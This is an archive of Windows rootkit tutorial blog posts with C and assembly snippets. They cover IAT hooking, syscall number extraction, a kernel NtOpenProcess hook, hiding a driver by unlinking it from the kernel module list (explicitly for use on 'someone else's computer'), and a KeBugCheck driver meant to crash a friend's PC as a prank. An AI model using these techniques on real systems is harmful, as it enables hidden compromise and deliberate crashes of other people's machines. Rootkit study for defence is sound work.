IAT hooking

August 21, 2007

So far I only talked about kernel hooks, but you can do some hooking in userland also. Today I’m going to show you the simpler of the two userland hooking processes is called Import Address Table hooking (IAT).

When an application wants to use a function that is located in a DLL (kernel32,user32…) For example MessageBoxA, the application must get the address of the function. We do this through an IAT.

So what we’re going to do is, create a DLL with our fake function, load it into the target and when the target application calls the original function, our function is going to get executed instead of the original.

Free Image Hosting at www.ImageShack.us

In my example, we are going to hook MessageBoxA. MessageBoxA is located in user32.dll, so fire up your dissembler (In my case IDA) And find the full prototype. In our case it’s going to be:

int __stdcall MessageBoxA(HWND hWnd,LPCSTR lpText,LPCSTR lpCaption,UINT uType)

It’s very important that you have the exact same prototype as the original one!

Now go create an application that calls MessageBox, and dissemble it. I’m going to use OllyDbg. The call to MessageBoxA is going to look this way: “CALL DWORD PTR DS:[<&USER32.MessageBoxA>] ” Now look in the window before the Hex View, you are going to see something like: “DS:[0042428C]=7E45058A (USER32.MessageBoxA)” 0042428C is what we need. It’s the pointer to the function.

Now it’s time to create our DLL. First lets make our fake function.

int __stdcall NewMessageBoxA(HWND hWnd,LPCSTR lpText,LPCSTR lpCaption,UINT uType)
{
char real[200];
sprintf(real,”Inside hooked MessageBoxA.\n\nText=%s\nTitle=%s”, lpText, lpCaption);
MessageBox(NULL,real,”Real values”,MB_OK);

return MessageBoxA(hWnd,”Fake much”,”Fake”,uType);

}

It’s going to show us the real values, and then we are going to return what we want! Also, you may want to make the function fail. To do so, get the value when the function doesn’t succeed, use MSDN for that.

Now we want to get MessageBoxA address, to do so, we are going to use GetModuleHandle/GetProcAddress. Like this:

OrigAddress = (int)GetProcAddress(GetModuleHandle(“user32.dll”), “MessageBoxA”);

Now we must point the original function to our fake one, so when the real one is called, our fake one is getting executed. We do this this way:

OurAddress = (int)NewMessageBoxA ;

This is pretty much it. It wasn’t that hard was it? Of course this is not the full code, if you want the source code, you can download it at the end of this post.

This method is not perfect. I’m going to quote a passage from the book “Rootkits:Subverting the windows kenel” (The picture came from there to.)

Here we go: “Some applications do late-demand binding. With late-demand binding, function addresses are not resolved until the function is called. This reduces the amount of memory the application will use. These functions may not have addresses in the IAT when your rootkit attempts to hook them. Also, if the application uses LoadLibrary and GetProcAddress to find the addresses of functions, your IAT hook will not work.”

If you find any errors or bugs, please leave a comment. Thanks for visiting and reading.

DOWNLOAD


Getting the system calls by yourself

August 15, 2007

Of course you can get them from a website such as this one.

You can find them by disassembling the module where the function is located.

Call Number

Notice 30 is the call number of NtCreateProcessEx. It’s moved into EAX

But you can code a program that will do that for you!

Let’s do that. In my example, only the functions that are exported by “ntdll.dll” are going to work. But that can be changed really easily…

mov eax, 30h ; NtCreateProcessEx
mov edx, 7FFE0300h
call dword ptr [edx]
retn 24h

Since we know that the call number is loaded into EAX, we have to check for a “mov eax”. “mov eax” = 0xB8

if ( *Function != 0xB8 )
{
return FALSE;
}

Then we want to check for “mov edx”, its 0xBA.

if ( *(Function + 5) != 0xBA )
{
return FALSE;
}

Now you can do additional checks, but this is enough. If you’re wondering why we did function + 5, thats because ZwCreateProcessEx is located at 7C90D769 and the mov edx instruction is on 7C90D76E. So we did function address + 5.

Well the rest is simple, and doesn’t require any explanation. You can download the source code here. If you find any errors or bugs, please leave a comment. Thanks for visiting and reading.

Later.


Using different parameters for hooking

August 12, 2007

Sometimes when you want to hook a function, you don’t know what parameter to use. For example XxOpenProcess (I know I always use the same API, but thats because its an easy one and useful)

NtOpenProcess(

OUT PHANDLE ProcessHandle,
IN ACCESS_MASK AccessMask,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId );

In my other article we were using “ClientID”, but you may also use other parameters like the first one “ProcessHandle”

The goal of this article is not to deny process termination, but to stop memory editors attaching* to our process.

Before we start, I’m going to show you 2 “custom” made functions.

ULONG gProcessNameOffset;

ULONG GetProcessNameOffset()
{

PEPROCESS curproc;
int i;

curproc = PsGetCurrentProcess();
// This will fail if the EPROCESS grows larger
// than a page size.
for( i = 0; i < 3*PAGE_SIZE; i++ )
{
if( !strncmp( “System”, (PCHAR)curproc + i, strlen(“System”) ))
{
gProcessNameOffset = i;
}
}
return 0;
}

GetProcessNameOffset returns the offset within the EPROCESS structure of the process name

BOOL GetProcessName( PCHAR theName )
{
PEPROCESS curproc;
char *nameptr;

if( gProcessNameOffset )
{
curproc = PsGetCurrentProcess();
nameptr = (PCHAR) curproc + gProcessNameOffset;
strncpy( theName, nameptr, NT_PROCNAMELEN );
theName[NT_PROCNAMELEN] = 0; /* NULL at end */
return TRUE;
}
return FALSE;
}

GetProcessName copy the process name into the specified buffer. This is very useful, you can use it like this:

CHAR ProcessName[PROCNAMELEN];
DbgPrint(“ZwOpenProcess() called from %s\n”, ProcessName);

Okay 1 more thing before we start.

// Length of process name (rounded up to next DWORD)
#define PROCNAMELEN 20
// Maximum length of NT process name
#define NT_PROCNAMELEN 16

Okay, let’s start! First lets make our function prototype. The parameters must be the same as the original function.

NTSTATUS NewZwOpenProcess(
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL
) {

Then let’s add this (OldZwOpenProcess points to the original function)

NTSTATUS ntStatus;
NTSTATUS ntStatus2;
CHAR CallerProcessName[PROCNAMELEN];

GetProcessName(CallerProcessName);

ntStatus = ((ZWOPENPROCESS)(OldZwOpenProcess)) ( //Original ZwOpenProcess()
ProcessHandle,
DesiredAccess,
ObjectAttributes,
ClientId OPTIONAL);

if( NT_SUCCESS(ntStatus))

{

Now we are going to use ObReferenceObjectByHandle to get the EPROCESS from the handle.

ntStatus = ObReferenceObjectByHandle(
*ProcessHandle,
PROCESS_ALL_ACCESS,
NULL,
KernelMode,
&Process, //Will hold the EPROCESS
NULL);

if(NT_SUCCESS(ntStatus))
{

Now that we got the EPROCESS address (“Process” is holding it), we want to get the name. We do that like this (If you noticed, it almost does the same thing as GetProcessName):

//DbgPrint(“EPROCESS: 0x%08lX\n”, Process);
nameptr = (PCHAR)Process + gProcessNameOffset;
strncpy(Target, nameptr, NT_PROCNAMELEN);
Target[NT_PROCNAMELEN] = 0; /* NULL at end */
//DbgPrint(“Targeted Process %s”,Target);

Now we do some comparing (ProtectedProcess, is a buffer holding the name of the protected process) We check if the targeted process is our process, if it is, we close the handle and make it return STATUS_INVALID_HANDLE

if(!strncmp(Target,ProtectedProcess,NT_PROCNAMELEN)==0)
{
ZwClose(ProcessHandle); //Close Handle
DbgPrint(“OpenProcess called by %s\n”,CallerProcessName);
DbgPrint(“Targeting %s\n”,Target);
DbgPrint(“Returning STATUS_INVALID_HANDLE”);
ntStatus = STATUS_INVALID_HANDLE; //Return invalid handle
ProcessHandle = 0; //Handle = 0;
}

The full prototype code:

NTSTATUS NewZwOpenProcess(
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL
)
{

NTSTATUS ntStatus;
NTSTATUS ntStatus2;
CHAR Target[PROCNAMELEN];
CHAR CallerProcessName[PROCNAMELEN];
PEPROCESS EProcess;
char *nameptr;

GetProcessName(CallerProcessName);

ntStatus = ((ZWOPENPROCESS)(OldZwOpenProcess)) ( //Original ZwOpenProcess()
ProcessHandle,
DesiredAccess,
ObjectAttributes,
ClientId OPTIONAL);

if( NT_SUCCESS(ntStatus))

{
ntStatus = ObReferenceObjectByHandle(
*ProcessHandle,
PROCESS_ALL_ACCESS,
NULL,
KernelMode,
&EProcess, //Will hold the EPROCESS
NULL);

if(NT_SUCCESS(ntStatus))
{
//DbgPrint(”EPROCESS: 0x%08lX\n”, EProcess);
nameptr = (PCHAR)EProcess + gProcessNameOffset;
strncpy(Target, nameptr, NT_PROCNAMELEN);
Target[NT_PROCNAMELEN] = 0; /* NULL at end */
//DbgPrint(“Targeted Process %s”,Target);

if(!strncmp(Target,ProtectedProcess,NT_PROCNAMELEN)==0)
{
ZwClose(ProcessHandle); //Close Handle
DbgPrint(“OpenProcess called by %s\n”,CallerProcessName);
DbgPrint(“Targeting %s\n”,Target);
DbgPrint(“Returning STATUS_INVALID_HANDLE”);
ntStatus = STATUS_INVALID_HANDLE; //Return invalid handle
ProcessHandle = 0; //Handle = 0;
}
}
}
return ntStatus; //STATUS_INVALID_HANDLE
}

protected

Well thats it for this post, if you like that kind of stuff, you may want to visit Dual’s blog. He has some interesting advanced articles.

Now you may be asking why we did all of this when we could of used “ClientID” parameter. Thats because not every function has multiple useful parameters.

For example XxReadVirtualMemory As you see, only the first parameter is really useful to us, therefor you are going to use the method described in this article. Thanks for reading and visiting, if you find any errors or bugs, leave a comment =)

*Memory editors such as CheatEngine, can still open your process, since it uses it’s own routine of OpenProcess (Must be enabled in options -> Extra)


Inactivity

August 11, 2007

Thanks for visiting guys, this week I only wrote 1 article, I’m sorry for that, I was busy. I got some ideas about what to write but if you got an interesting idea, drop me a comment =) I will be updating the blog this week, so check it out.

Also, visit the blogs that you see on the right side of the page, they got some interesting going on.


Hide me!

August 4, 2007

If you are already doing something malicious on someone else’s computer, you may as well hide your precious driver. It’s not hard at all, if you already hid processes using the DKOM method (Direct Kernel Object Manipulation) this is going to look familiar to you because we are going to change the FLINK and BLINK pointers of its neighbors.

We are going to use this undocumented structure:

typedef struct _MODULE_ENTRY {

LIST_ENTRY module_list_entry;

DWORD unknown1[4];

DWORD base;

DWORD driver_start;

DWORD unknown2;

UNICODE_STRING driver_Path;

UNICODE_STRING driver_Name;

} MODULE_ENTRY, *PMODULE_ENTRY;

The following MODULE_ENTRY object is used by the kernel to keep track of the drivers in memory. Notice that the first member in the structure is a LIST_ENTRY.

We are going to modify them to make our driver disappear from the linked list. The fallowing code does that.

PMODULE_ENTRY pm_current;
pm_current = *((PMODULE_ENTRY*)((DWORD)DriverObject + 0x14));

*((PDWORD)pm_current->module_list_entry.Blink) = (DWORD) pm_current->module_list_entry.Flink;
pm_current->module_list_entry.Flink->Blink = pm_current->module_list_entry.Blink;

We changed the Flink and Blink pointers to the next and previous drivers.

Free Image Hosting at www.ImageShack.us

We hid our driver, but you can use the same method to hide other drivers as well. Fu rootkit is a good example of doing so. You can download it from here

For the the source code of this article, click here.

P.S The image is from the book called Rootkit: Subverting the Windows Kernel.


CRC32: File checksum

August 2, 2007

I recently needed to check the integrity of some files, but I didn’t know what hash to use nor how to generate one! I choose CRC32 for no particular reasons, and it wasn’t as hard as I imagined to generate the hash!

Anyways, the source code is easy to understand and I tried to comment it as much as I could, so no explanation here. You can download the source code from here.


Causing BSOD’s

July 31, 2007

I’m bored! So I’m posting this… If you want to play a “joke” on your friend and you are tired of those things that open and close the CD drive, and you want something more hardcore? I got the thing for you (lol) Actually all you need to do is call KeBugCheck and thats all.

#include “ntddk.h”
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
KeBugCheck(0);
}

If you tried it, and didn’t get a BSOD, only a crash, you have to change some settings in you computer. Goto Control Panel -> System -> Click the Advanced tab -> Click the last Settings -> Uncheck Automatically restart.

Free Image Hosting at www.ImageShack.us

If you want, you can also take a look at KeBugCheckEx


Follow

Get every new post delivered to your Inbox.